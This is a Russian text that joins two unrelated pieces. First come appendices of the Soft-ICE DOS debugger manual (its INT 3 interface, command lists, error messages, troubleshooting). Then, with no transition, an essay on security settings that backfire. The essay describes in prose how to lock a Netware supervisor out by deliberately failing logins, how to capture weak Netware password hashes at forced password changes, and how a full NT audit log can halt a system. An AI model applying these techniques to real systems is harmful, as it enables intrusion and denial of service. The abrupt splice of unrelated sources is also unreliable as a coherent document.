MOV AL,ПОДФУНКЦИЯ
MOV SI,'FG'
MOV DI,'JM'
INT 3
Доступные подфункции:
AL Описание значения
10H Вывести информацию в окне
Soft-ICE.
11H Выполнить команду Soft-ICE.
12H Получают информацию о точках останова.
13H Установить точку останова Soft-ICE.
14H Удалить точку останова Soft-ICE.
Следующие параграфы дают более детальную информацию об
этих подфункциях.
AL = 10H -- Вывести Информацию В окне Soft-ICE.
Это полезно для диагностических записей - особенно из подпрограмм прерываний
и других областей, которые могут быть связаны с повторной входимостью.
Входные параметры: DS:DX - > Z-строка текстовых символов
для вывода
Z-строка может быть максимум из 100 символов и может содержать символы
возврата каретки (0DH).
AL = 11H -- Выполнить команду Soft-ICE.
Это позволяет вам сгенерировать команду Soft-ICE из вашей программы. Это
используется для всех команд кроме точек останова.
Чтобы установить точки
останова Soft- ICE из вашей программы, смотрите AL = 13H ниже.
Входные параметры: DS:DX - > Z-строка, которая содержит
команду Soft-ICE.
Z-строка может быть максимум из 100 символов. Каждая команда Soft-ICE в строке
должна заканчиваться символом возврата каретки (0DH).
AL = 12H -- Получить информацию о точках останова.
Возвращает номер последней установленной точки останова и последней точки
останова, которая сработала.
Это полезно при установке точки останова с устройства ввода или при
выполнении эмуляции аппаратных средств.
Выходные данные : DH - номер входа последней
точки останова
DL - тип последней сработавшей точки останова
BH - номер входа последней установленной точки останова
BL - тип последней установленной точки останова
Номер входа - тот же самый, что выводится командой BL.
Типы: 0 - BPM (типы, использующие отладочные регистры)
1 - ввод/вывод
2 - INT
3 - BPX (BP стиля int 3)
4 - Зарезервировано
5 - Диапазон
AL = 13H -- Установить точку останова Soft-ICE.
Используйте эту команду для установки точек останова Soft-ICE из программы.
Входные параметры: DS:DX - указатель на структуру точки останова
Выходные данные: ax = код ошибки
bx = номер точки останова
; Выполняется очень небольшая проверка значений параметров, возвращаются
; следующие ошибки.
OK EQU 0
BP_TABLE_FULL EQU 3
MEM_LlM_ERR EQU 6
IO_LlM_ERR EQU 7
RANGE_LlM_ERR EQU 9
DUP_ERR EQU l6 ; повторяющаяся точка останова
; Структура точки останова
;bp_entry Struc
;bp_type Db?
;bp_addrl Dd?
;bp_addr2 Dd?
;bp_addr3 Dd?
;bp_mode Db?
;bp_mode2 Db?
;bp_size Db?
;bp_cnt Db?
;bp_state Db?
;bp_entry ends
; Допустимы следующие типы точек останова:
MEM_LOC equ 0 ;Точка останова на ячейку памяти (BPM).
MEM_RANGE equ 1 ;Точка останова на диапазон памяти (BPR).
IO equ 3 ;Точка останова на ввод/вывод (BPIO).
INT_BP equ 4 ;Точка останова на прерывание (BPINT).
X_BP equ 5 ;Точка останова на выполнение (BPX).
; Вот возможные режимы и размеры точек останова.
; Режимы точек останова
READ_MODE equ 01
WRITE_MODE equ 02
EX_MODE equ 04
; Размеры точек останова
BYT equ 0
WRD equ 1
DBL equ 3
; Следующие параграфы дают информацию о том, как заполнять структуру
; точки останова
; Для всех типов точек останова.
; Установка точек останова на ячейку памяти
bp_type = MEM_LOC
bp_addr1 = адрес точки останова
bp_mode = один из следующих:
READ_MODE
WRITE_MODE
EX_MODE или WRITE_MODE
EX_MODE (точка останова на выполнение)
bp_size = один из следующих:
BYT
WRD
DBL
bp_cnt = Число повторений события
до срабатывания точки останова
; Все неиспользуемые поля должны быть равны 0.
; Установка точек останова на диапазон памяти
bp_type = MEM_RANGE
bp_addrl = нижнее ограничение диапазона
bp_addr2 = верхнее ограничение диапазона
bp_mode = один из следующих:
READ_MODE
WRITE_MODE
READ_MODE или WRITE_MODE
bp_cnt = Число повторений события до срабатывания точки останова
; Все неиспользуемые поля должны быть равны 0.
; Установка точек останова на ввод/вывод
bp_type = ввод/вывод
word ptr bp_addr1 = адрес ввода/вывода
Bp_mode = один из следующих:
READ_MODE
WRITE_MODE
READ_MODE или WRITE_MODE
bp_cnt = Число повторений события до
срабатывания точки останова
; Все неиспользуемые поля должны быть равны 0.
; Установка точек останова на прерывание
bp_type = INT_BP
bp, addr1 = Прерывание #
bp, addr2 = Необязательное значение для проверки
bp, режим = регистр чтобы проверять
0 - без проверки значения
1 - проверка AL
2 - проверка AH
3 - проверка AX
;Установка точек останова на выполнение
bp_type = X_BP
bp, addr1 = адрес точки останова
bp, addr2 = номер оверлея (0 = корневой)
AL = 14H -- Удалить точку останова Soft-ICE.
Входные параметры: BX = номер точки останова
Выходные данные: BX = ???, когда установлена
BPM Установка точки останова на
ПРИЛОЖЕНИЕ A
ФУНКЦИОНАЛЬНЫЙ СПИСОК КОМАНД
Команда Описание
Установка точек останова:
BPM Установка точки останова на доступ к памяти или
выполнение
BPR Установка точки останова на диапазон памяти
BPIO Установка точки останова на доступ к порту ввода/вывода
BPINT Установка точку останова на прерывание
BPX Установка/отмена точки останова на выполнение
CSIP Установка спецификатора диапазона CS:IP
BPAND Ожидание срабатывания многих точек останова
Управление точками останова:
BD Отключение точек останова
BE Активизация точек останова
BL Вывод списка точек останова
BPE Редактирование точек останова
BPT Использование точки останова как шаблона
BC Удаление точек останова
Команды вывода и редактирования:
U Дизассемблировать инструкции
R Вывести или изменить регистры
MAP Вывести карту памяти системы
D Вывести память
E Редактировать память
INT? Вывести номер последнего прерывания
? или H Вывести справочную информацию
VER Вывести номер версии Soft-ICE
Команды работы с портами ввода/вывода:
I Ввод из порта ввода/вывода
O Вывод в порт ввода/вывода
Команды передачи управления:
X Выйти из окна Soft-ICE
G Перейти по адресу
T Протрассировать одну команду
P Программный шаг
HERE Выполнить до текущей строки курсора
G Перейти по адресу
GENINT Вызывает прерывание
EXIT Вызывает выход из текущей программы DOS
BOOT Перезагрузить систему (сохранив Soft-ICE)
HBOOT Выполнить жесткую перезагрузку системы (полный сброс)
Команды режима отладки:
ACTION Установить действие после достижения точки останова
WARN Установите режим предупреждения при повторной входимости
DOS/ROM BIOS
BREAK Прерывание исполнения в любое время
I3HERE Перенаправить прерывание 3 на Soft-ICE
Сервисные команды:
A Транслировать код
S Поиск данных
F Заполнить память данными
M Переместить данные
C Сравнить два блока данных
Специализированные команды отладки:
SHOW Вывести команды из буфера истории
TRACE Войти в режим эмуляции трассировки
XT Одиночный шаг в режиме эмуляции трассировки
XP Программный шаг в режиме эмуляции трассировки
XG Перейти по адресу в режиме эмуляции трассировки
XRSET Сбросить буфер обратной трассировки
VECS Сохранить/восстановить/сравнить векторы прерываний
SNAP Сохранить содержимое блока памяти
EMMMAP Вывести карту распределения EMM-памяти
Команды работы с окнами:
WR Включить/выключить окно регистров
WC Включить/выключить/установить размер окна кода
WD Включить/выключить/установить размер окна данных
EC Перейти/выйти из окна кода
. Найти текущую команду
Команды Настройки Отладчика:
PAUSE Пауза после каждого экрана при просмотре
ALTKEY Установить альтернативную комбинацию клавиш
для вызова Soft-ICE
FKEY Вывести и редактировать функциональные клавиши
BASE Установить/вывести текущее основание системы счисления
CTRL-P Переключить сохранение лога сеанса на принтер
Print-Screen Печать содержимого экрана
PRN Установить порт вывода на принтер
Команды управления экраном:
FLASH Восстанавливать экран во время P и T
FLICK Предотвращение "снега"
WATCHV Установить слежение за видеорежимом
RS Восстановить экран программы
CLS Очистить окно
ALTSCR Перейти на альтернативный экран
WIN Изменить размер окна Soft-ICE
Команды работы с символами и исходными строками:
SYM Установить/вывести символ
SYMLOC Переместить базу символов
SRC Переключиться между режимом исходного текста, смешанным
и режимом кода
FILE Изменить/вывести текущий файл с исходным текстом
SS Искать строку в текущем файле с исходным текстом
ПРИЛОЖЕНИЕ B
АЛФАВИТНЫЙ СПИСОК КОМАНД
Команда Описание
. Найти текущую команду
? или H Вывести справочную информацию
A Транслировать код
ACTION Установить действие после достижения точки останова
ALTKEY Установить альтернативную комбинацию клавиш
для вызова Soft-ICE
ALTSCR Перейти на альтернативный экран
BASE Установить/вывести текущее основание системы счисления
BC Удаление точек останова
BD Отключение точек останова
BE Активизация точек останова
BL Вывод списка точек останова
BOOT Перезагрузить систему (сохранив Soft-ICE)
BPAND Ожидание срабатывания многих точек останова
BPE Редактирование точек останова
BPINT Установка точку останова на прерывание
BPIO Установка точки останова на доступ к порту ввода/вывода
BPM Установка точки останова на доступ к памяти или
выполнение
BPR Установка точки останова на диапазон памяти
BPT Использование точки останова как шаблона
BPX Установка/отмена точки останова на выполнение
BREAK Прерывание исполнения в любое время
C Сравнить два блока данных
CLS Очистить окно
CSIP Установка спецификатора диапазона CS:IP
CTRL-P Переключить сохранение лога сеанса на принтер
D Вывести память
E Редактировать память
EC Перейти/выйти из окна кода
EMMMAP Вывести карту распределения EMM-памяти
EXIT Вызывает выход из текущей программы DOS
F Заполнить память данными
FILE Изменить/вывести текущий файл с исходным текстом
FKEY Вывести и редактировать функциональные клавиши
FLASH Восстанавливать экран во время P и T
FLICK Предотвращение "снега"
G Перейти по адресу
GENINT Вызывает прерывание
HBOOT Выполнить жесткую перезагрузку системы (полный сброс)
HERE Выполнить до текущей строки курсора
I Ввод из порта ввода/вывода
I3HERE Перенаправить прерывание 3 на Soft-ICE
INT? Вывести номер последнего прерывания
M Переместить данные
MAP Вывести карту памяти системы
O Вывод в порт ввода/вывода
P Программный шаг
PAUSE Пауза после каждого экрана при просмотре
Print-Screen Печать содержимого экрана
PRN Установить порт вывода на принтер
R Вывести или изменить регистры
RS Восстановить экран программы
S Поиск данных
SHOW Вывести команды из буфера истории
SNAP Сохранить содержимое блока памяти
SRC Переключиться между режимом исходного текста, смешанным
и режимом кода
SS Искать строку в текущем файле с исходным текстом
SYM Установить/вывести символ
SYMLOC Переместить базу символов
T Протрассировать одну команду
TRACE Войти в режим эмуляции трассировки
U Дизассемблировать инструкции
VECS Сохранить/восстановить/сравнить векторы прерываний
VER Вывести номер версии Soft-ICE
WARN Установите режим предупреждения при повторной входимости
DOS/ROM BIOS
WATCHV Установить слежение за видеорежимом
WC Включить/выключить/установить размер окна кода
WD Включить/выключить/установить размер окна данных
WIN Изменить размер окна Soft-ICE
WR Включить/выключить окно регистров
X Выйти из окна Soft-ICE
XG Перейти по адресу в режиме эмуляции трассировки
XP Программный шаг в режиме эмуляции трассировки
XRSET Сбросить буфер обратной трассировки
XT Одиночный шаг в режиме эмуляции трассировки
ПРИЛОЖЕНИЕ C
ФУНКЦИОНАЛЬНЫЙ СПИСОК КЛАВИШ
Клавиша Описание
Перемещение окна Soft-ICE:
CTRL Переместить окно на строку вверх
CTRL Переместить окно на строку вниз
CTRL Переместить окно на одну позицию вправо
CTRL Переместить окно на одну позицию влево
Изменение Размеров окна Soft-ICE:
ALT Расширить окно
CTRL Сузить окно
Редактирование Командной Строки:
Переместить курсор вправо
Переместить курсор влево
INS Включить/выключить режим вставки
DEL Удалить текущий символ
HOME Переместить курсор на начало строки
END Переместить курсор к концу строки
Вывести предыдущую команду
Вывести следующую команду
SHIFT Прокрутить на одну строку вверх
SHIFT Прокрутить на одну строку вниз
PAGE UP Прокрутить на одну страницу вверх
PAGE DN Прокрутить на одну страницу вниз
BKSP Удалить предыдущий символ
ESC Отменить текущую команду
ПРИЛОЖЕНИЕ D
Сообщения об Ошибках и их Описания
В этом приложении указаны и объяснены сообщения об ошибках, которые может
выдавать Soft-ICE.
A General Protection Violation Has
Occurred. This is typically caused
by a protected mode instruction.
CS:IP = XXXX:XXXX
Type 'C' to Continue
Type 'R' to Return to Soft-ICE.
Это сообщение может появиться, либо когда обнаружена
инструкция защищенного режима 80386 либо в
условиях выхода за пределы сегмента. Часто можно
определить причину этого сообщения,
дизассемблируя команду по указанному адресу.
Если первый байт команды - 0FH, тогда вероятно это -
команда защищенного режима. Если команда
обращается к слову по смещению 0FFFFH в сегменте,
тогда это - проблема выхода за сегмент. Если вы введете
"C", чтобы продолжить, управление перейдет обработчику 0
прерывания в виртуальной машине DOS.
Это сообщение часто появляется, когда программа переходит к
адресу, который не содержит допустимого кода или когда
допустимый код был перезаписан.
Attempt To Divide By 0
Это сообщение появляется, когда Soft-ICE вычисляет значение
выражения и делитель в операции деления - нуль.
BPM Break Point Limit Exceeded
Soft-ICE предоставляет максимум 4 точки останова на память.
Это сообщение выводится, если пытаетесь превысить максимальное
ограничение.
Break Point Table Full
Soft-ICE предоставляет максимум 16 точек останова. Это сообщение
выводится, если вы пытаетесь превысить максимальное ограничение.
Count Too Large
Команды точек останова Soft-ICE содержат необязательное
поле счетчика. Максимальным значением этого поля может быть
FFH. Это сообщение об ошибке выводится, если указанное значение
счетчика больше чем FFH.
DOS Memory Structures Corrupted
Это сообщение выводится, если Soft-ICE обнаруживает проблему
с цепочкой блоков памяти DOS при использовании команды
MAP. Это сообщение также может появиться, если вы используете
команду MAP с операционной системой, отличной от DOS.
Duplicate Break Point
При вводе точки останова Soft-ICE сравнивает
условия точки останова с аналогичными у точек останова
установленных ранее. Если условия совпадают,
выводится это сообщение.
Interrupt Break Point Limit Exceeded
Soft-ICE предоставляет максимум 10 точек останова на
прерывание. Это сообщение выводится, если вы пытаетесь
превысить максимальное ограничение.
Invalid Opcode Has Occurred
CS:IP =XXXX:XXXX
Type 'C' to Continue
Type 'R' to Return to Soft-ICE.
Когда 80386 сталкивается с командой, которая является
запрещенной, он генерирует прерывание 6. Soft-ICE выводит
это сообщение и дает вам возможность продолжить или
вернуться в Soft-ICE. Если вы введете "C", чтобы продолжить,
управление передается обработчику прерыванию 6 в
виртуальной машине DOS.
Это сообщение часто появляется, когда программа переходит
к адресу, который не содержит допустимого кода или когда
допустимый код был перезаписан.
I/O Break Point Limit Exceeded
Soft-ICE предоставляет максимум 10 точек останова на ввод-вывод.
Это сообщение выводится, если вы пытаетесь превысить максимальное
ограничение.
No Alternate Screen
Это сообщение выводится, если используется команда
ALTSCR и Soft-ICE обнаруживает только один видеоадаптер.
Parameter is Wrong Size
Определенные поля требуют специфического размера типа данных (байт,
слово или двойное слово ). Это сообщение выводится, если
превышен размер типа данных. Для примера, если вы используете
команду 'BPMB 2000:2000 EQ 1234', вы просите Soft-ICE
обнаружить байтовый доступ к ячейке 2000:2000 со
значением 1234H. Так как 1234H больше чем байт,
команда вызовет появление этого сообщения об ошибке.
Parameters Required
Большинство команд Soft-ICE требуют одного или
более параметров. Если команда вводится без
требуемого числа параметров, выводится это
сообщение.
Range Break Point Limit Exceeded
Soft-ICE предоставляет максимум 10 точек останова на диапазон
памяти. Это сообщение выводится, если вы пытаетесь превысить
максимальное ограничение.
Second Parameter Must Be Greater than First
При определении диапазона памяти, первое введенное
число должно быть нижним ограничением диапазона, иначе
будет выведено это сообщение.
Segment:Offset Can Not Wrap
Большинство команд Soft-ICE не позволяют указателю
памяти (сегмент:смещение) переходить границу между высокой и
низкой памятью. Например, указатель памяти FFFF:FFFF переходит
границу и запрещен. Это сообщение выводится если вы делаете
попытку к перейти границу между высокой и низкой памятью.
Soft-ICE cannot be loaded.
Needs to load at top of memory.
Load before any TSR's or control programs.
Soft-ICE должен загрузиться в самую высокую возможную
область памяти. Затем эта память "вырезается",
делаясь невидимой для программ DOS, так что они не могут
разрушить Soft-ICE. Это сообщение выводится, если Soft-ICE
обнаруживает, что другая программа уже загрузилась в верхнюю
часть памяти.
Soft-ICE cannot run with other 80386 control programs
80386 поддерживает только одну программу защищенного режима,
так что Soft-ICE не может сосуществовать с другими управляющими
программами. При отладке программы, использующей EMS
и EEMS, вы можете получить это сообщение об ошибке, когда вы
попробуете загрузить Soft-ICE, потому что некоторые системы 80386
продаются с управляющей программой, которая использует систему
страничной организации памяти 80386, чтобы дать вам EMS и EEMS
на плате, где есть только расширенная память. Однако, для отладки
программ, использующих EMS и EEMS, вы можете использовать плату с
настоящей отображаемой памятью.
Soft-ICE has already been loaded
Это сообщение происходит если вы повторно пытаетесь загрузить
Soft-ICE.
Soft-ICE has not been loaded
Это сообщение появляется, если вы пытаетесь выгрузить Soft-ICE,
когда он еще не загружен.
Soft-ICE loads at the top of extended memory. This may conflict with other
programs that use extended memory. If you are sure it will not conflict,
then answer 'Y', otherwise answer 'N' and refer to the chapter on loading
Soft-ICE with extended memory.
Это сообщение появляется, если вы пытаетесь загрузить Soft-ICE
в расширенную память, и S-ICE.SYS не был загружен в вашем
файле CONFIG.SYS. Это предупреждение выдается, чтобы
удостовериться, что вы не сотрете случайно виртуальный
диск или другую программу, которая может загрузиться в
расширенную память. Для большей информации обратитесь к
части 2.2, "Загрузка Soft-ICE" и главе 6,
"Опции Инициализации".
Soft-ICE will only run on 80386 based machines
Soft-ICE требует микропроцессор Intel 80386.
Syntax Error
Это сообщение выводится, если введенная
информация не удовлетворяет структуре ни одной
команды Soft-ICE.
The P & G Commands Function In RAM Only
Soft-ICE использует два метода выполнения команд
P и G. Первый метод использует регистры точек
останова 80386. Однако, если вы уже установили 4
точки останова стиля BPM, Soft-ICE использует метод
INT 3, который будет работать только в ОЗУ. Если вы
в этом случае пытаетесь использовать команды P или G
в ROM, Soft-ICE обнаруживает эту ситуацию и выводит
это сообщение об ошибке.
Valid Verbs are R, W, RW, X
Это сообщение выводится, если в команде BPM указывается
недопустимая опция. При использовании команды BPM
допустимые выборы для опций - R(чтение), W (запись),
RW (чтение/запись), и X (выполнение).
ПРИЛОЖЕНИЕ E
РУКОВОДСТВО ПО ПОИСКУ НЕИСПРАВНОСТЕЙ
В этом приложении даны решения для некоторых возможных проблем, с которыми вы
можете столкнуться при использовании Soft-ICE. Если вы не найдете проблему
здесь, проверьте файл README.SI на вашей дистрибутивной дискете для любых
приемов по поиску неисправностей, которые не указаны в этом руководстве.
Команда time в конце дня не показывает правильное время.
Когда окно Soft-ICE активно, Soft-ICE не позволяет ни одному
прерываниям пройти к системе. Это никак не воздействует на
часы реального времени, так что в следующий раз, когда вы
перезагрузитесь, время будет снова отображаться правильно.
Вы также можете исправлять время, запуская программу UPTIME.
Она получает время из часов реального времени и вызывает
DOS, чтобы установить время.
При отладке программы, которая использует EMS и EEMS, вы получаете это
сообщение об ошибке, когда вы пробуете загрузить Soft-ICE "Soft-ICE
cannot run with other 80386 control programs".
Некоторые системы 80386 продаются с управляющей программой, которая
использует систему страничной организации памяти 80386, чтобы дать
вам EMS и EEMS на плате, где есть только расширенная память.
80386 поддерживает только одну программу защищенного режима,
так что Soft-ICE не может сосуществовать с другими управляющими
программами. Однако, для отладки программ, использующих EMS и EEMS,
вы можете использовать плату с настоящей отображаемой памятью.
Soft-ICE не вызывает останова в вашем программном отладчике.
Некоторые программные отладчики реагируют на останов, только когда
используются с одним типом отладочного прерывания. Обратитесь к
команде ACTION в части 5.4. Там указаны три различных типа
стандартного действия, которое может выполняться,
когда срабатывает точка останова. Попробуйте все три. Какие-то действия
работают лучше для различных отладчиков.
Soft-ICE не появляется, когда ваш монитор находится в графическом режиме или
он неправильно восстанавливает ваш графический экран.
Soft-ICE не использует ROM BIOS для вывода,
он должен идти прямо на аппаратные средства. Soft-ICE был
разработан, чтобы работать со следующими типами
контроллеров или 100 % совместимыми с ними:
CGA
MDA
Hercules
EGA
VGA
Если ваш контроллер - не один из их или не 100 %
совместимый, вы может использовать второй контроллер
и монитор и использовать команду ALTSCR описанную в
части 5.9.
Комбинация клавиш, используемая для вызова Soft-ICE находится в противоречии
с существующей программой, которую вы запускаете.
Вы можете установить другую комбинация клавиш для
вызова Soft-ICE, используя команду ALTKEY. Если это
не помогло, добавьте к текущей комбинации клавиш
клавишу SHIFT и используйте эту новую комбинацию
клавиш, чтобы вызывать существующую программу.
Soft-ICE не будет реагировать на новую комбинацию
клавиш и позволит ей пройти к существующей программе.
Обратитесь к команде ALTKEY в части 5.8.
Soft-ICE не вызывается при сбое вашей программы.
Обратитесь к команде BREAK в части 5.4. Эта
команда позволяет вам вызвать окно Soft-ICE,
когда система зависает с отключенными прерываниями.
После того, как точка останова вызывает ваш отладчик, ваш отладчик перестает
отвечать.
Есть две возможных причины, по которым могла возникнуть
эта проблема:
1) Ваш отладчик вызвал повторный вход в DOS или ROM
BIOS. DOS и ROM BIOS не полностью реентерабельны,
так что ваш отладчик может работать неправильно.
Используйте команду WARN, чтобы включать режим
предупреждения повторной входимости. В следующий
раз при попытке повторного входа в DOS или ROM BIOS,
будет выдано предупреждающее сообщение и у вас будет
выбор вернуться в Soft-ICE, чтобы избежать проблемы.
Обратитесь к команде WARN в части 5.4.
2) Останов произошел посередине программы-обработчика
прерывания. Некоторые отладчики не могут справиться
с такими ситуациями. Используйте ACTION, установленное
на HERE, потому что Soft-ICE позволяет вам прерывать
выполнение посередине подпрограммы прерывания.
Обратитесь к команде ACTION в части 5.4.
Вы используете монитор CGA и, когда вызывается Soft-ICE, у вас на экране
появляется "снег".
Некоторые типы видеоплат будут генерировать нежелательное мерцание,
если символы выводятся без ожидания горизонтального или вертикального
обратного хода луча. Чтобы убрать "снег", включите режим FLICK.
Обратитесь к команде FLICK в части 5.9.
При выполнении команды BOOT система начинает перезагрузку, но потом зависает.
Soft-ICE использует для мягкой перезагрузки метод прерывания 19.
Есть два возможных случая, когда этот метод может потерпеть
неудачу:
1) На чисто загруженной системе этот метод будет прекрасно
работать. Но если система разрушена содержащей ошибки
программой, есть вероятность, что этот метод не будет
работать.
2) Некоторые программы, использующие расширенную или
отображаемую память типа EMS-драйверов или дисковых
КЭШей, не способны поддерживать перезагрузку стиля
прерывания 19. При отладке драйверов устройств и программ
начальной загрузки с этой проблемой, вы должны использовать
следующий метод. Загрузите систему без драйверов, которые
вызывают проблему; загрузите Soft-ICE; установите драйверы,
чтобы они загрузились при следующей перезагрузке; и затем
используйте команду BOOT.
Обратитесь к команде
BOOT в части 5.3.
Вы использовали комбинация клавиш SYSREQ, чтобы вызвать Soft-ICE, и ваша
система зависает или начинается на сброс содержимого экрана на ваш
принтер.
На некоторых клавиатурах, чтобы сгенерировать системный
запрос, вы должны одновременно нажать клавишу ALT и
клавишу PrtSc. Если вы случайно нажмете только клавишу
PrtSc, система попытается распечатать ваш экран. Если
принтер не подсоединен, ваша система зависнет. Чтобы
избежать этой проблемы, тщательно следите за тем, чтобы
нажать обе клавиши одновременно, или используйте команду
ALTKEY чтобы перейти на другую комбинацию клавиш.
Обратитесь к команде ALTKEY в разделе 5.8.
Ваш отладчик завис, когда вы дизассемблировали команды или редактировали
или выводили на экран содержимое памяти.
Вы обратились к адресу, который активизировал точку
останова Soft-ICE, и ACTION не было установлено на HERE.
Когда Soft-ICE доставит вас к месту, где вы хотите
поработать в памяти с вашим отладчиком, вы должны
отключить точки останова Soft-ICE. Если вы этого не
сделаете, вы можете случайно вызвать останов. Это
заставит ваш отладчик вызвать самому себя, что может
быть фатальной проблемой для отладчиков, не являющихся
реентерабельными.
После того, как вы вышли из вашего отладчика, система зависла.
У этой проблемы, конечно, может быть много причин, но
одной из возможных причин может быть то, что вы могли
забыть отключить точки останова Soft-ICE, и ACTION еще
установлено на вызов вашего отладчика. Когда срабатывает
точка останова, ACTION попытается вызвать ваш отладчик,
но ваш отладчик уже не загружен.
Вы установили точку останова для перехвата функций 87H,
88H или 89H прерывания 15H, а останов не происходит.
Soft-ICE производит внутреннюю обработку этих функций в
защищенном режиме, так что вы не можете устанавливать
точки останова на эти функции.
Ваша программа не реагирует на нажатия клавиш, но клавиатура еще активна.
Могла быть логически нажата клавиша SHIFT.
Попробуйте
понажимать и отпускать каждую клавишу SHIFT, CTRL и ALT.
Soft-ICE некорректно восстанавливает ваш графический экран.
У Soft-ICE есть улучшенный режим виртуализации видео,
который может виртуализировать много специальных
графических режимов. Включите этот режим, введя WATCHV ON.
См. описание команды WATCHV для больших подробностей.
Для несовместимых видеоконтроллеров и определенных
неизвестных режимов вам может быть придется использовать
альтернативный монитор. См. команду ALTSCR.
Машина блокируется, когда вы находитесь в Soft-ICE или перемещаете окно
Soft-ICE.
У Soft-ICE на некоторых клавиатурах есть проблемы
с таймером. Используйте выражение NOLEDS в S-ICE.DAT.
Это предотвратит посылку Soft-ICE'ом на клавиатур
команд LED.
Супервизор кусает локти.
"Отсутствие механизмов автоматического запрещения аутентификации после нескольких неудачных попыток и временного закрытия бюджета (account) пользователя ... может при использование простых средств аутентификации привести к подбору параметров аутентификации" [1].
У сетевой ОС Novell Netware (пользующейся репутацией достаточно защищенной ОС: по крайней мере, Novell Netware 4.11 - единственная ОС широкого назначения, имеющая американский сертификат по классу защищенности для сетевых
ОС) среди настроек есть пункт "Intruder Detection" (обнаружение нарушителей). Это громкое название на самом деле ни что иное, как регистрация на сервере неоднократных попыток ввода неправильного пароля. Правильно ли это с точки зрения компьютерной безопасности? Безусловно, регистрация попыток неверной аутентификации - обязательное требование к защищенным вычислительным системам, упоминаемое как в импортных, так и отечественных нормативных документах. Однако фирма Novell пошла несколько дальше - и логику тут легко понять - действительно, почему бы не просто фиксировать такие попытки, но и не пресекать их средствами ОС? Пусть хакер пытается подобрать пароль к вашему ресурсу (account) в системе, тогда через N1 попыток система выдает сообщение об попытке взлома, а через N2 - вообще блокирует
дальнейшие попытки ввода паролей (в настройках Novell Netware это называется "Lock account after detection"). Логично? Безусловно. Правильно? А вот тут стоит чуть-чуть задуматься о том, что же означают слова "блокировать дальнейшие попытки ввода паролей". А означают они буквально следующее - в течение некоторого времени t ("Length of account lockout") никакой пароль не будет восприниматься системой, ваш ресурс будет заблокирован (disabled). Иначе говоря, в течение этого времени t даже вам, законному пользователю, не дадут зарегистрироваться в системе из-за действий хакера.
В настройках Novell Netware 3.x по умолчанию N1=3, N2=7, t=15 минут. И вот теперь представим, что хакеру необходимо обезопасить свою новейшую атаку на Novell Netware от возможных контрдействий супервизора (замечу, супервизора, беспокоящегося о проблемах безопасности, поэтому он включил опцию "Intruder detection").
Он вводит 7 неправильных паролей супервизора, и в течении 15 минут может спокойно реализовывать свою основную атаку, супервизору останется лишь кусать локти. Самое интересное, что блокировка ресурса супервизора приводит к невозможности ни удаленно подключится к консоли с помощью RCONSOLE, ни разблокировать клавиатуру на консоли (опция в утилите MONITOR.NLM), т.е. он не может помешать атаке даже с консоли сервера.
Итак, парадоксальное свершилось - администратор, настроив свою систему на потенциально больший уровень безопасности, оказался более беззащитен перед новой угрозой, чем если бы он этого не делал! Да, здесь налицо видны недостатки того решения, что предложила фирма Novell - можно было блокировать дальнейшие попытки ввода пароля только с одного сетевого адреса (т.е. конкретной машины), можно было разрешать доступ даже к заблокированному ресурсу, если все же введен правильный пароль, можно было вообще решать проблему удаленного подбора паролей введением увеличивающейся задержки на отклик при вводе очередного неправильного
пароля - но ведь сделано именно так и, если не углубляться, кажется, что правильно!
Меняйте пароли чаще!
"В случае однократной регистрации ... от пользователей необходимо потребовать, чтобы они регулярно меняли свои пароли" [2].
Опять Novell Netware. Известно, что все пароли пользователей хранятся в ней на сервере в виде 128-битных значений, получаемых в результате применения хэш-функции к паролю. Знание этого хэш-значения злоумышленником автоматически приводит к возможности зарегистрироваться на сервере под именем того пользователя, чье хэш-значение он знает. (Это может быть сделано с помощью специальной слегка подправленной программы login, а также путем генерации "псевдопароля" из известного хэш-значения. Здесь используется тот факт, что хэш-функция, применяемая во всех версиях этой системы, является очень нестойкой и допускает
очень быстрое вычисление коллизий (т.е. последовательностей, которые будет на выходе давать одно и то же хэш-значение) [3]).
Именно поэтому хэш-значение тщательно охраняется, и не передается по сети в открытом виде при аутентификации пользователя на сервере. Вместо этого используется стандартная схема "запрос-отклик": сервер посылает случайную последовательность, рабочая станция шифрует ее с вычисленным хэш-значением введенного пароля и отсылает обратно, сервер делает то же самое с имеющимся у него хэш-значением, в случае совпадения двух строк пользователь успешно регистрируется в системе. Но для этого как-то хэш-значение должно оказаться на сервере? Нетрудно понять, что по крайней мере оно должно попадать туда при смене пароля пользователем. А раз так, то злоумышленник, чтобы перехватить хэш, должен дождаться, пока пользователь захочет поменять свой пароль2. А это, к несчастью для него, может произойти в неопределенный момент времени. Если только он не знает этого момента заранее или ... не сможет заставить пользователя сделать это. Вспомним первый пример. Высока вероятность того, что пользователь (или супервизор), узнав о многочисленных попытках взлома своего ресурса (или обнаружив его заблокированным) захочет поменять свой пароль. (Впрочем, если он немного подумает, то он не попадется на эту удочку, и скорее всего попросит администратора отключить блокировку его ресурса в случае "обнаружения нарушителя").
Но на помощь кракеру может прийти другое мощное средство повышения безопасности системы Novell Netware (имеющееся, впрочем, почти во всех ОС, претендующих на защищенность), а именно "заставлять периодически менять пароль" (force periodic password changes). Зная, что администратор системы "повысил" ее защищенность путем периодической обязательной смены паролей, злоумышленнику остается только дождаться момента плановой смены паролей, и золотой ключик, т.е. хэш-значение супервизора у него в кармане. Этот пример я считаю весьма показательным.
Новый "нюк" (nuke) - система аудита Windows NT.
"Данные протокола аудита могут быть утеряны из-за нехватки пространства памяти, выделенного для их хранения, сбоя системы..." [1]
Как известно, одна из версий Windows NT была сертифицирована по американским требованиям С2 для своего несетевого
варианта. И хотя эта сертификация вызывает много вопросов, существует утилита C2Config, которая формально позволяет настроить Windows NT в соответствии с требованиями С2. В частности, эти требования распространяются и на подсистему регистрации и учета (audit). Утилита C2Config предлагает следующую настройку аудита для повышения безопасности всей системы:
"Очистка протокола событий" (Event Log Wrapping) - "Не перезаписывать события (очищать вручную)" (Do Not Overwrite Events (Clear Log Manually).
Опять все кажется совершенно логичным. Да, администратор должен просмотреть все, что отражено в протоколе, после чего этот протокол можно стереть. Уничтожаться события в защищенной системе автоматически не должны, иначе регистрация атаки может оказаться невозможной.
Однако смотрим следующий пункт меню: "Останавливать систему когда протокол безопасности заполнен" (Halt system when security log is full). Настройка по С2, естественно, "Да". С точки зрения подсистемы аудита это, безусловно, правильно - протокол должен сохраняться всегда. А вот с точки зрения работоспособности системы?
